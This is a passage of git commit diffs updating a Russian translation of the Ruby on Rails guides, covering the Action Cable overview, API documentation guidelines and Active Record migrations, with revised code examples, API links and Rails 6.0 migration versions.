[WebSockets](https://r Терминология ------------ -Отдельный сервер Action Cable может обслужить несколько экземпляров соединения. В нем есть один экземпляр соединения на соединение WebSocket. Отдельный пользователь может иметь несколько WebSocket, открытых в вашем приложении, если он использует несколько вкладок браузера или устройств. Клиент соединения WebSocket называется потребителем. +Action Cable использует WebSockets вместо протокола запросов-откликов HTTP. И Action Cable, и WebSockets представляют более-менее одинаковую терминологию: -Каждый потребитель, в свою очередь, может подписаться на несколько каналов cable. Каждый канал инкапсулирует логическую единицу работы, подобно тому, что делает контроллер в обычной настройке MVC. Например, могут быть `ChatChannel` и `AppearancesChannel`, а потребитель может подписаться на один или оба этих канала. Потребитель должен минимум быть подписан на один канал. +### Соединения -Когда потребитель подписан на канал, он действует как подписчик. Соединение между подписчиком и каналом называется (сюрприз!) подпиской. Потребитель может действовать как подписчик на данный канал любое количество раз. Например, потребитель может подписаться на несколько комнат чата одновременно. (И помните, что физический пользователь может иметь несколько потребителей, -один на вкладку/устройство, открытых к соединению). +*Соединения* формируют основу взаимоотношения клиента с сервером. + +Отдельный сервер Action Cable может обслужить несколько экземпляров соединения. В нем есть один экземпляр соединения на соединение WebSocket. Отдельный пользователь может иметь несколько WebSocket, открытых в вашем приложении, если он использует несколько вкладок браузера или устройств. -Каждый канал может вещать ноль или более трансляций. Трансляция — это ссылка pubsub, по которой все, передаваемое транслятором, посылается непосредственно подписчикам на канал, которые слушают эту названную трансляцию. +### Потребители -Как видите, это довольно глубокий архитектурный стек. Тут есть множество новой терминологии для обозначения новых частей, и на основе этого вам придется иметь дело как с клиентским, так и с серверным отражением каждого узла. +Клиент соединения WebSocket называется *потребителем*. В Action Cable потребитель создается клиентским фреймворком JavaScript. + +### Каналы + +Каждый потребитель, в свою очередь, может подписаться на несколько *каналов*. Каждый канал инкапсулирует логическую единицу работы, подобно тому, что делает контроллер в обычной настройке MVC. Например, могут быть `ChatChannel` и `AppearancesChannel`, а потребитель может подписаться на один или оба этих канала. Потребитель должен минимум быть подписан на один канал. + +### Подписчики + +Когда потребитель подписан на канал, он действует как *подписчик*. Соединение между подписчиком и каналом называется (сюрприз!) подпиской. Потребитель может действовать как подписчик на данный канал любое количество раз. Например, потребитель может подписаться на несколько комнат чата одновременно. (И помните, что физический пользователь может иметь несколько потребителей, +один на вкладку/устройство, открытых к соединению). -Что такое Pub/Sub ------------------ +### Pub/Sub [Pub/Sub](https://ru.wikipedia.org/wiki/Издатель-подписчик_(шаблон_проектирования)), или Publish-Subscribe, относится к парадигме очереди сообщений, когда отправители информации (publishers) посылают данные в абстрактный класс получателей (subscribers), без указания отдельных получателей. Action Cable использует этот подход для коммуникации между сервером и множеством клиентов. +### Трансляции + +Трансляция — это ссылка pub/sub, по которой все, передаваемое транслятором, посылается непосредственно подписчикам на канал, которые слушают эту названную трансляцию. Каждый канал может вещать ноль или более трансляций. + ## Серверные компоненты ### Соединения -*Соединения* (connection) формируют основу взаимоотношения клиента с сервером. Для каждого WebSocket, принимаемого сервером, на стороне сервера будет инициализирован объект соединения. Этот объект становится родителем для всех *подписок на канал*, которые создаются впоследствии. Само соединение не работает с какой-либо определенной логикой приложения после аутентификации и авторизации. Клиент соединения WebSocket называется *потребителем* соединения (consumer). Отдельный пользователь создаст одну пару потребитель-соединение на каждую вкладку браузера, окно или устройство, которые он использует. +Для каждого WebSocket, принимаемого сервером, на стороне сервера будет инициализирован объект соединения. Этот объект становится родителем для всех *подписок на канал*, которые создаются впоследствии. Само соединение не работает с какой-либо определенной логикой приложения после аутентификации и авторизации. Клиент соединения WebSocket называется *потребителем* соединения (consumer). Отдельный пользователь создаст одну пару потребитель-соединение на каждую вкладку браузера, окно или устройство, которые он использует. -Соединения - это экземпляры класса `ApplicationCable::Connection`. В этом классе вы авторизуете входящее соединение и приступаете к его созданию, если пользователь может быть идентифицирован. +Соединения - это экземпляры класса `ApplicationCable::Connection` который расширяет [`ActionCable::Connection::Base`][]. В `ApplicationCable::Connection` вы авторизуете входящее соединение и приступаете к его созданию, если пользователь может быть идентифицирован. #### (connection-setup) Настройка соединения @@ -69,15 +82,46 @@ module ApplicationCable end ``` -Здесь `identified_by` — это идентификатор соединения, который может быть использован, чтобы найти определенное соединение позже. Отметьте, что все, помеченное как идентификатор, автоматически создаст делегирование с тем же именем в каждом экземпляре канала, унаследованного от соединения. +Здесь [`identified_by`][] назначает идентификатор соединения, который может быть использован, чтобы найти определенное соединение позже. Отметьте, что все, помеченное как идентификатор, автоматически создаст делегирование с тем же именем в каждом экземпляре канала, унаследованного от соединения. -Этот пример полагается на факт, что вы уже провели аутентификацию пользователя где-то в вашем приложении, и что успешная аутентификация устанавливает подписанные куки с ID пользователя. +Этот пример полагается на факт, что вы уже провели аутентификацию пользователя где-то в вашем приложении, и что успешная аутентификация устанавливает зашифрованные куки с ID пользователя. Тогда куки автоматически посылаются в экземпляр соединения при попытке нового соединения, и используются для установления `current_user`. Идентифицировав соединения тем же текущим пользователем, вы также удостоверяетесь, что в дальнейшем можете получить все открытые соединения данного пользователя (и потенциально рассоединить их все, если пользователь удален или не авторизован). +Если ваш подход к аутентификации включает использование сессии, вы используете хранилище куки для для сессии, ваши куки сессии названы `_session`, и ключ ID пользователя `user_id`, можно использовать следующий подход: + +```ruby +verified_user = User.find_by(id: cookies.encrypted['_session']['user_id']) +``` + +[`ActionCable::Connection::Base`]: https://api.rubyonrails.org/classes/ActionCable/Connection/Base.html +[`identified_by`]: https://api.rubyonrails.org/classes/ActionCable/Connection/Identification/ClassMethods.html#method-i-identified_by + +#### Обработка исключений + +По умолчанию необработанные исключения ловятся и логируются логгером Rails'. Если хотите глобально перехватывать эти исключения и report them to an external bug tracking service, for +example, you can do so with [`rescue_from`][]: + +```ruby +# app/channels/application_cable/connection.rb +module ApplicationCable + class Connection < ActionCable::Connection::Base + rescue_from StandardError, with: :report_error + + private + + def report_error(e) + SomeExternalBugtrackingService.notify(e) + end + end +end +``` + +[`rescue_from`]: https://api.rubyonrails.org/classes/ActiveSupport/Rescuable/ClassMethods.html#method-i-rescue_from + ### Каналы -*Канал* инкапсулирует логическую единицу работы, схожей с той, что делает контроллер в обычном MVC. По умолчанию Rails создает родительский класс `ApplicationCable::Channel` для инкапсуляции логики, общей для ваших каналов. +*Канал* инкапсулирует логическую единицу работы, схожей с той, что делает контроллер в обычном MVC. По умолчанию Rails создает родительский класс `ApplicationCable::Channel` (который расширяет [`ActionCable::Channel::Base`][]) для инкапсуляции логики, общей для ваших каналов. #### (parent-channel-setup) Настройка родительского канала @@ -95,17 +139,21 @@ end # app/channels/chat_channel.rb class ChatChannel < ApplicationCable::Channel end +``` +```ruby # app/channels/appearance_channel.rb class AppearanceChannel < ApplicationCable::Channel end ``` +[`ActionCable::Channel::Base`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Base.html + Затем потребитель может быть подписан на один или оба этих канала. #### Подписки -Потребитель подписывается на канал, действуя как *подписчик* (subscriber). Это соединение называется *подпиской*. Созданные сообщения затем маршрутизируются на эти подписки на канал, основываясь на идентификаторе, посланным потребителем cable. +Потребитель подписывается на канал, действуя как *подписчик* (subscriber). Это соединение называется *подпиской*. Созданные сообщения затем маршрутизируются на эти подписки на канал, основываясь на идентификаторе, посланным потребителем канала. ```ruby # app/channels/chat_channel.rb @@ -117,6 +165,23 @@ class ChatChannel < ApplicationCable::Channel end ``` +#### Обработка исключений + +Как и в случае с `ApplicationCable::Connection`, можно использовать [`rescue_from`][] на определенном канале для обработки вызванных исключений: + +```ruby +# app/channels/chat_channel.rb +class ChatChannel < ApplicationCable::Channel + rescue_from 'MyError', with: :deliver_error_message + + private + + def deliver_error_message(e) + broadcast_to(...) + end +end +``` + ## Клиентские компоненты ### Соединения @@ -128,7 +193,7 @@ end ```js // app/javascript/channels/consumer.js // Action Cable provides the framework to deal with WebSockets in Rails. -// You can generate new channels where WebSocket features live using the `rails generate channel` command. +// You can generate new channels where WebSocket features live using the `bin/rails generate channel` command. import { createConsumer } from "@rails/actioncable" @@ -184,7 +249,7 @@ consumer.subscriptions.create({ channel: "ChatChannel", room: "2nd Room" }) ### Потоки (Streams) -*Потоки* предоставляют механизм, с помощью которого каналы направляют опубликованный контент (трансляции) их подписчикам. +*Потоки* предоставляют механизм, с помощью которого каналы направляют опубликованный контент (трансляции) их подписчикам. Например, следующий код использует [`stream_from`][] для подписки на трансляцию с именем `chat_Best Room`, где значение параметра `:room` `"Best Room"`: ```ruby # app/channels/chat_channel.rb @@ -195,7 +260,13 @@ class ChatChannel < ApplicationCable::Channel end ``` -Если у вас есть поток, относящийся к модели, тогда используемая трансляция может быть сгенерирована из модели и канала. Следующий пример подпишет на трансляцию вида `comments:Z2lkOi8vVGVzdEFwcC9Qb3N0LzE` +Затем, где-нибудь в приложении Rails, можно транслировать в такую комнату, вызвав [`broadcast`][]: + +```ruby +ActionCable.server.broadcast("chat_Best Room", { body: "This Room is Best Room." }) +``` + +Если у вас есть поток, относящийся к модели, тогда используемое имя трансляции может быть сгенерировано из модели и канала. Например, следующий код использует [`stream_for`][] для подписки на трансляцию наподобие `comments:Z2lkOi8vVGVzdEFwcC9Qb3N0LzE`, где `Z2lkOi8vVGVzdEFwcC9Qb3N0LzE` это GlobalID модели Post. ```ruby class CommentsChannel < ApplicationCable::Channel @@ -206,29 +277,20 @@ class CommentsChannel < ApplicationCable::Channel end ``` -Затем можно транслировать на этот канал следующим образом: +Затем можно транслировать на этот канал с помощью [`broadcast_to`][]: ```ruby CommentsChannel.broadcast_to(@post, @comment) ``` -### (broadcasting) Трансляция +[`broadcast`]: https://api.rubyonrails.org/classes/ActionCable/Server/Broadcasting.html#method-i-broadcast +[`broadcast_to`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Broadcasting/ClassMethods.html#method-i-broadcast_to +[`stream_for`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Streams.html#method-i-stream_for +[`stream_from`]: https://api.rubyonrails.org/classes/ActionCable/Channel/Streams.html#method-i-stream_from -*Трансляция* — это ссылка pub/sub, по которой все, переданное издателем (publisher), направляется непосредственно подписчикам канала, которые читают из потока трансляции с этим именем. Каждый канал может писать в поток ноль или более трансляций. Трансляции — это очередь реального времени. Если потребитель не читает поток (не подписан на данный канал), он не получит трансляцию, когда присоединится позже. - -Трансляции вызываются где угодно в приложении Rails: +### (broadcasting) Трансляции -```ruby -WebNotificationsChannel.broadcast_to( - current_user, - title: 'New things!', - body: 'All the news fit to print' -) -``` - -Вызов `WebNotificationsChannel.broadcast_to` помещает сообщение в очередь pubsub текущего адаптера подписки под отдельным именем трансляции для каждого пользователя. Очередь pubsub по умолчанию для Action Cable — это `redis` для production и `async` для development и test сред. Для пользователя с ID 1, имя трансляции будет `web_notifications:1`. - -Канал проинструктирован писать в поток все, что приходит в `web_notifications:1`, непосредственно на клиент, вызывая колбэк `received`. +*Трансляция* — это ссылка pub/sub, по которой все, переданное издателем (publisher), направляется непосредственно подписчикам канала, которые читают из потока трансляции с этим именем. Каждый канал может писать в поток ноль или более трансляций. Трансляции — это очередь реального времени. Если потребитель не читает поток (не подписан на данный канал), он не получит трансляцию, когда присоединится позже. ### Подписки @@ -307,8 +369,10 @@ consumer.subscriptions.create({ channel: "ChatChannel", room: "Best Room" }, { # возможно из NewCommentJob ActionCable.server.broadcast( "chat_#{room}", - sent_by: 'Paul', - body: 'This is a cool chat app.' + { + sent_by: 'Paul', + body: 'This is a cool chat app.' + } ) ``` @@ -524,7 +588,7 @@ development: adapter: async test: - adapter: async + adapter: test production: adapter: redis @@ -566,7 +630,9 @@ config.action_cable.disable_request_forgery_protection = true ### Настройка потребителя -Чтобы сконфигурировать URL, добавьте вызов `action_cable_meta_tag` в макете HTML HEAD. Он использует URL или путь, обычно устанавливаемые с помощью `config.action_cable.url` в файлах настройки среды. +Чтобы сконфигурировать URL, добавьте вызов [`action_cable_meta_tag`][] в макете HTML HEAD. Он использует URL или путь, обычно устанавливаемые с помощью `config.action_cable.url` в файлах настройки среды. + +[`action_cable_meta_tag`]: https://api.rubyonrails.org/classes/ActionCable/Helpers/ActionCableHelper.html#method-i-action_cable_meta_tag ### Настройка пула воркеров @@ -578,6 +644,16 @@ config.action_cable.worker_pool_size = 4 Также отметим, что ваш сервер должен предоставить как минимум то же самое количество соединений с базой данных, сколько у вас есть воркеров. Пул воркеров по умолчанию установлен 4, это означает, что нужно сделать как минимум 4 доступных соединения к базе данных. Это можно изменить в `config/database.yml` с помощью атрибута `pool`. +### Логирование на клиенте + +Логирование на клиенте отключено по умолчанию. Его можно включить, установив `ActionCable.logger.enabled` true. + +```ruby +import * as ActionCable from '@rails/actioncable' + +ActionCable.logger.enabled = true +``` + ### Другие настройки Другой обычной опцией для настройки являются теги логирования, присоединяемые к логгеру для каждого соединения. Вот пример, использующий при тегировании идентификатор пользовательской записи при наличии, а в противном случае "no-account" @@ -615,7 +691,7 @@ end ```ruby # cable/config.ru -require_relative '../config/environment' +require_relative "../config/environment" Rails.application.eager_load! run ActionCable.server diff --git a/source/index.yml b/source/index.yml index 0c2ea23c..6e73737f 100644 --- a/source/index.yml +++ b/source/index.yml @@ -225,8 +225,8 @@ pages: - title: Обзор Action Cable path: action-cable-overview file: action_cable_overview.md - revision: 4f5949cf9f96938086338fe8f7af5af34cc21daa - date: 01/04/2019 + revision: bec743eaf6b6bbf45feb1f1c69ef39f449a3a1e3 + date: 19/01/2021 - title: Несколько баз данных с Active Record path: active-record-multiple-databases From 127ed749a996f341011741c5383ad9e4f6357c91 Mon Sep 17 00:00:00 2001 From: Mikhail Date: Mon, 15 Feb 2021 22:47:39 +0300 Subject: [PATCH 548/932] Update docs guide --- source/api_documentation_guidelines.md | 12 ++++++------ source/index.yml | 4 ++-- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/source/api_documentation_guidelines.md b/source/api_documentation_guidelines.md index e4e82859..c9618704 100644 --- a/source/api_documentation_guidelines.md +++ b/source/api_documentation_guidelines.md @@ -13,10 +13,10 @@ RDoc ---- -[Документация Rails API](http://api.rubyonrails.org) генерируется с помощью [RDoc](https://ruby.github.io/rdoc/). Чтобы ее сгенерировать, убедитесь, что вы в корневой директории rails, запустите `bundle install` и выполните: +[Документация Rails API](https://api.rubyonrails.org) генерируется с помощью [RDoc](https://ruby.github.io/rdoc/). Чтобы ее сгенерировать, убедитесь, что вы в корневой директории rails, запустите `bundle install` и выполните: ```bash - bundle exec rake rdoc +$ bundle exec rake rdoc ``` Итоговые файлы HTML будут в директории ./doc/rdoc. @@ -36,7 +36,7 @@ RDoc # Declares an attribute reader backed by an internally-named # instance variable. def attr_internal_reader(*attrs) - ... + # ... end ``` @@ -164,7 +164,7 @@ If `return` is needed it is recommended to explicitly define a method. # If the collection has been loaded # it is equivalent to collection.size.zero?. If the # collection has not been loaded, it is equivalent to -# collection.exists?. If the collection has not already been +# !collection.exists?. If the collection has not already been # loaded and you are going to fetch the records anyway it is better to # check collection.length.zero?. def empty? @@ -217,7 +217,7 @@ WARNING: Использование `+...+` для моноширинного ш Можно быстро протестировать результат RDoc с помощью следующей команды: -``` +```bash $ echo "+:to_param+" | rdoc --pipe # =>

    :to_param

    ``` @@ -238,7 +238,7 @@ $ echo "+:to_param+" | rdoc --pipe # matter the context. Validations with # some :on # option will only run in the specified context. def valid?(context = nil) - ... + # ... end ``` diff --git a/source/index.yml b/source/index.yml index 6e73737f..0416d57b 100644 --- a/source/index.yml +++ b/source/index.yml @@ -273,8 +273,8 @@ pages: - title: Рекомендации по документированию API path: api_documentation_guidelines file: api_documentation_guidelines.md - revision: f589e20b0a865a7efd93e65b2887f0e4ab9a556f - date: 12/09/2018 + revision: cb0da4f817eee35089c1f12a4fa46a765611181f + date: 22/12/2020 - title: Шаблоны приложения Rails path: rails-application-templates From 7efc5405d439fbff642940045b75096d13f721ed Mon Sep 17 00:00:00 2001 From: Mikhail Date: Mon, 15 Feb 2021 23:10:18 +0300 Subject: [PATCH 549/932] Update migrations guide --- source/active_record_migrations.md | 233 +++++++++++++++++------------ source/index.yml | 4 +- 2 files changed, 136 insertions(+), 101 deletions(-) diff --git a/source/active_record_migrations.md b/source/active_record_migrations.md index a83534f8..514d0948 100644 --- a/source/active_record_migrations.md +++ b/source/active_record_migrations.md @@ -1,7 +1,7 @@ Миграции Active Record ====================== -Миграции - это особенность Active Record, позволяющая [изменять схему вашей базы данных время от времени](https://en.wikipedia.org/wiki/Schema_migration). Вместо того, чтобы записывать модификации схемы на чистом SQL, миграции позволяют использовать простой Ruby DSL для описания изменений в ваших таблицах. +Миграции - это особенность Active Record, позволяющая [изменять схему вашей базы данных время от времени](https://en.wikipedia.org/wiki/Schema_migration). Вместо того, чтобы записывать модификации схемы на чистом SQL, миграции позволяют использовать Ruby DSL для описания изменений в ваших таблицах. После прочтения этого руководства, вы узнаете о: @@ -13,14 +13,14 @@ Обзор миграций -------------- -Миграции - это удобный способ изменять схему вашей базы данных всё время неизменным и простым образом. Они используют Ruby DSL. Поэтому вам не нужно писать SQL вручную, позволяя вашей схеме быть независимой от базы данных. +Миграции - это удобный способ изменять схему вашей базы данных всё время неизменным образом. Они используют Ruby DSL. Поэтому вам не нужно писать SQL вручную, позволяя вашей схеме быть независимой от базы данных. Каждую миграцию можно рассматривать как новую 'версию' базы данных. Схема изначально ничего не содержит, а каждая миграция модифицирует ее, добавляя или убирая таблицы, столбцы или записи. Active Record знает, как обновлять вашу схему со временем, перенося ее из определенной точки в прошлом в последнюю версию. Active Record также обновляет ваш файл `db/schema.rb`, чтобы он соответствовал текущей структуре вашей базы данных. Вот пример миграции: ```ruby -class CreateProducts < ActiveRecord::Migration[5.0] +class CreateProducts < ActiveRecord::Migration[6.0] def change create_table :products do |t| t.string :name @@ -43,7 +43,7 @@ NOTE: Некоторые запросы не могут быть запущен Если хотите миграцию для чего-то, что Active Record не знает, как обратить, вы можете использовать `reversible`: ```ruby -class ChangeProductsPrice < ActiveRecord::Migration[5.0] +class ChangeProductsPrice < ActiveRecord::Migration[6.0] def change reversible do |dir| change_table :products do |t| @@ -58,7 +58,7 @@ end С другой стороны, можно использовать `up` и `down` вместо `change`: ```ruby -class ChangeProductsPrice < ActiveRecord::Migration[5.0] +class ChangeProductsPrice < ActiveRecord::Migration[6.0] def up change_table :products do |t| t.change :price, :string @@ -83,13 +83,13 @@ end Конечно, вычисление временных меток не забавно, поэтому Active Record предоставляет генератор для управления этим: ```bash -$ rails generate migration AddPartNumberToProducts +$ bin/rails generate migration AddPartNumberToProducts ``` Это создаст правильно названную пустую миграцию: ```ruby -class AddPartNumberToProducts < ActiveRecord::Migration[5.0] +class AddPartNumberToProducts < ActiveRecord::Migration[6.0] def change end end @@ -97,32 +97,32 @@ end Этот генератор может гораздо больше, чем добавить временную метку к имени файла. Основываясь на соглашениях по именованию и дополнительных (необязательных) аргументах, он может также заполнить миграцию. -Если имя миграции имеет форму "AddColumnToTable" или "RemoveColumnFromTable" и далее следует перечень имен столбцов и их типов, то в миграции будут созданы соответствующие выражения `add_column` и `remove_column`. +Если имя миграции имеет форму "AddColumnToTable" или "RemoveColumnFromTable" и далее следует перечень имен столбцов и их типов, то в миграции будут созданы соответствующие выражения [`add_column`][] и [`remove_column`][]. ```bash -$ rails generate migration AddPartNumberToProducts part_number:string +$ bin/rails generate migration AddPartNumberToProducts part_number:string ``` сгенерирует ```ruby -class AddPartNumberToProducts < ActiveRecord::Migration[5.0] +class AddPartNumberToProducts < ActiveRecord::Migration[6.0] def change add_column :products, :part_number, :string end end ``` -Если вы хотите добавить индекс на новый столбец, вы можете сделать это так +Если вы хотите добавить индекс на новый столбец, это также можно сделать. ```bash -$ rails generate migration AddPartNumberToProducts part_number:string:index +$ bin/rails generate migration AddPartNumberToProducts part_number:string:index ``` -сгенерирует +сгенерирует необходимые выражения `add_column` and [`add_index`][]: ```ruby -class AddPartNumberToProducts < ActiveRecord::Migration[5.0] +class AddPartNumberToProducts < ActiveRecord::Migration[6.0] def change add_column :products, :part_number, :string add_index :products, :part_number @@ -133,13 +133,13 @@ end Точно так же можно сгенерировать миграцию для удаления столбца из командной строки: ```bash -$ rails generate migration RemovePartNumberFromProducts part_number:string +$ bin/rails generate migration RemovePartNumberFromProducts part_number:string ``` генерирует ```ruby -class RemovePartNumberFromProducts < ActiveRecord::Migration[5.0] +class RemovePartNumberFromProducts < ActiveRecord::Migration[6.0] def change remove_column :products, :part_number, :string end @@ -149,13 +149,13 @@ end Вы не ограничены одним сгенерированным столбцом. Например: ```bash -$ rails generate migration AddDetailsToProducts part_number:string price:decimal +$ bin/rails generate migration AddDetailsToProducts part_number:string price:decimal ``` генерирует ```ruby -class AddDetailsToProducts < ActiveRecord::Migration[5.0] +class AddDetailsToProducts < ActiveRecord::Migration[6.0] def change add_column :products, :part_number, :string add_column :products, :price, :decimal @@ -166,13 +166,13 @@ end Если имя миграции имеет форму "CreateXXX" и затем следует список имен и типов столбцов, то будет сгенерирована миграция, генерирующая таблицу XXX с перечисленными столбцами. Например: ```bash -$ rails generate migration CreateProducts name:string part_number:string +$ bin/rails generate migration CreateProducts name:string part_number:string ``` генерирует ```ruby -class CreateProducts < ActiveRecord::Migration[5.0] +class CreateProducts < ActiveRecord::Migration[6.0] def change create_table :products do |t| t.string :name @@ -186,36 +186,36 @@ end Как всегда, то, что было сгенерировано, является всего лишь стартовой точкой. Вы можете добавлять и убирать строки, как считаете нужным, отредактировав файл `db/migrate/YYYYMMDDHHMMSS_add_details_to_products.rb`. -Также генератор принимает такой тип столбца, как `references` (или его псевдоним `belongs_to`). Например +Также генератор принимает такой тип столбца, как `references` (или его псевдоним `belongs_to`). Например, ```bash -$ rails generate migration AddUserRefToProducts user:references +$ bin/rails generate migration AddUserRefToProducts user:references ``` -генерирует +генерирует следующий вызов [`add_reference`][]: ```ruby -class AddUserRefToProducts < ActiveRecord::Migration[5.0] +class AddUserRefToProducts < ActiveRecord::Migration[6.0] def change add_reference :products, :user, foreign_key: true end end ``` -Эта миграция создаст столбец `user_id` и соответствующий индекс. Больше опций для `add_reference` описано в [документации API](https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_reference). +Эта миграция создаст столбец `user_id` и соответствующий индекс. Существует также генератор, который будет производить объединение таблиц, если `JoinTable` является частью названия. Например ```bash -$ rails generate migration CreateJoinTableCustomerProduct customer product +$ bin/rails generate migration CreateJoinTableCustomerProduct customer product ``` Сгенерирует следующую миграцию: ```ruby -class CreateJoinTableCustomerProduct < ActiveRecord::Migration[5.0] +class CreateJoinTableCustomerProduct < ActiveRecord::Migration[6.0] def change create_join_table :customers, :products do |t| # t.index [:customer_id, :product_id] @@ -225,18 +225,23 @@ class CreateJoinTableCustomerProduct < ActiveRecord::Migration[5.0] end ``` +[`add_column`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_column +[`add_index`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_index +[`add_reference`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_reference +[`remove_column`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_column + ### Генераторы модели Генераторы модели и скаффолда создадут миграции, подходящие для создания новой модели. Миграция будет содержать инструкции для создания соответствующей таблицы. Если вы сообщите Rails, какие столбцы вы хотите, то выражения для добавления этих столбцов также будут созданы. Например, запуск: ```bash -$ rails generate model Product name:string description:text +$ bin/rails generate model Product name:string description:text ``` создаст миграцию, которая выглядит так ```ruby -class CreateProducts < ActiveRecord::Migration[5.0] +class CreateProducts < ActiveRecord::Migration[6.0] def change create_table :products do |t| t.string :name @@ -257,13 +262,13 @@ end К примеру, запуск: ```bash -$ rails generate migration AddDetailsToProducts 'price:decimal{5,2}' supplier:references{polymorphic} +$ bin/rails generate migration AddDetailsToProducts 'price:decimal{5,2}' supplier:references{polymorphic} ``` создаст миграцию, которая выглядит как эта: ```ruby -class AddDetailsToProducts < ActiveRecord::Migration[5.0] +class AddDetailsToProducts < ActiveRecord::Migration[6.0] def change add_column :products, :price, :decimal, precision: 5, scale: 2 add_reference :products, :supplier, polymorphic: true @@ -280,7 +285,7 @@ TIP: Чтобы узнать подробности, обратите внима ### Создание таблицы -Метод `create_table` один из самых фундаментальных, но в большинстве случаев, он будет сгенерирован для вас генератором модели или скаффолда. Обычное использование такое +Метод [`create_table`][] один из самых фундаментальных, но в большинстве случаев, он будет сгенерирован для вас генератором модели или скаффолда. Обычное использование такое ```ruby create_table :products do |t| @@ -302,9 +307,11 @@ end Также можно передать опцию `:comment` с любым описанием для таблицы, которое будет сохранено в самой базе данных, и может быть просмотрено с помощью инструментов администрирования базы данных, таких как MySQL Workbench или PgAdmin III. Очень рекомендуется оставлять комментарии в миграциях для приложений с большими базами данных, так как это помогает понять модель данных и сгенерировать документацию. В настоящее время комментарии поддерживают только адаптеры MySQL и PostgreSQL. +[`create_table`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-create_table + ### Создание соединительной таблицы -Миграционный метод `create_join_table` создает соединительную таблицу HABTM (has and belongs to many, многие ко многим). Обычное использование будет таким: +Метод миграции [`create_join_table`][] создает соединительную таблицу HABTM (has and belongs to many, многие ко многим). Обычное использование будет таким: ```ruby create_join_table :products, :categories @@ -341,9 +348,11 @@ create_join_table :products, :categories do |t| end ``` +[`create_join_table`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-create_join_table + ### Изменение таблиц -Близкий родственник `create_table` это `change_table`, используемый для изменения существующих таблиц. Он используется подобно `create_table`, но у объекта, передаваемого в блок, больше методов. Например: +Близкий родственник `create_table` это [`change_table`][], используемый для изменения существующих таблиц. Он используется подобно `create_table`, но у объекта, передаваемого в блок, больше методов. Например: ```ruby change_table :products do |t| @@ -356,9 +365,11 @@ end удаляет столбцы `description` и `name`, создает строковый столбец `part_number` и добавляет индекс на него. Наконец, он переименовывает столбец `upccode`. +[`change_table`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_table + ### Изменение столбцов -Подобно `remove_column` и `add_column`, Rails предоставляет миграционный метод `change_column`. +Подобно `remove_column` и `add_column`, Rails предоставляет метод миграции [`change_column`][]. ```ruby change_column :products, :part_number, :text @@ -366,7 +377,7 @@ change_column :products, :part_number, :text Он меняет тип столбца `part_number` в таблице `products` на `:text`. Отметьте, что команда `change_column` — необратима. -Кроме `change_column`, методы `change_column_null` и `change_column_default` используются чтобы изменить ограничение не-null или значение столбца по умолчанию. +Кроме `change_column`, методы [`change_column_null`][] и [`change_column_default`][] используются чтобы изменить ограничение не-null или значение столбца по умолчанию. ```ruby change_column_null :products, :name, false @@ -377,6 +388,10 @@ change_column_default :products, :approved, from: true, to: false NOTE: Также можно написать предыдущую миграцию `change_column_default` как `change_column_default :products, :approved, false`, но, в отличие от предыдущего примера, это сделало бы вашу миграцию необратимой. +[`change_column`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_column +[`change_column_default`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_column_default +[`change_column_null`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-change_column_null + ### (Column Modifiers) Модификаторы столбца Модификаторы столбца могут быть применены при создании или изменении столбца: @@ -407,7 +422,7 @@ Rails сгенерирует имя для каждого внешнего кл NOTE: Active Record поддерживает внешние ключи только для отдельных столбцов. Чтобы использовать составные внешние ключи, требуются `execute` и `structure.sql`. Смотрите [Выгрузка схемы](#schema-dumping-and-you) -Убрать внешний ключ также просто: +Внешний ключ также можно убрать: ```ruby # позволим Active Record выяснить имя столбца @@ -422,7 +437,7 @@ remove_foreign_key :accounts, name: :special_fk_name ### Когда хелперов недостаточно -Если хелперов, предоставленных Active Record, недостаточно, можно использовать метод `execute` для выполнения произвольного SQL: +Если хелперов, предоставленных Active Record, недостаточно, можно использовать метод [`execute`][] для выполнения произвольного SQL: ```ruby Product.connection.execute("UPDATE products SET price = 'free' WHERE 1=1") @@ -430,33 +445,35 @@ Product.connection.execute("UPDATE products SET price = 'free' WHERE 1=1") Больше подробностей и примеров отдельных методов содержится в документации по API. В частности, документация для [`ActiveRecord::ConnectionAdapters::SchemaStatements`](https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html) (который обеспечивает методы, доступные в методах `up`, `down` и `change`), [`ActiveRecord::ConnectionAdapters::TableDefinition`](https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html) (который обеспечивает методы, доступные у объекта, переданного методом `create_table`) и [`ActiveRecord::ConnectionAdapters::Table`](https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html) (который обеспечивает методы, доступные у объекта, переданного методом `change_table`). +[`execute`]: https://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/DatabaseStatements.html#method-i-execute + ### Использование метода `change` Метод `change` это основной метод написания миграций. Он работает в большинстве случаев, когда Active Record знает, как обратить миграцию автоматически. На текущий момент метод `change` поддерживает только эти определения миграции: -* add_column -* add_foreign_key -* add_index -* add_reference -* add_timestamps -* change_column_default (необходимо указать опции :from и :to) -* change_column_null -* create_join_table -* create_table -* disable_extension -* drop_join_table -* drop_table (необходимо указать блок) -* enable_extension -* remove_column (необходимо указать тип) -* remove_foreign_key (необходимо указать вторую таблицу) -* remove_index -* remove_reference -* remove_timestamps -* rename_column -* rename_index -* rename_table - -`change_table` также является обратимым, пока блок не вызывает `change`, `change_default` или `remove`. +* 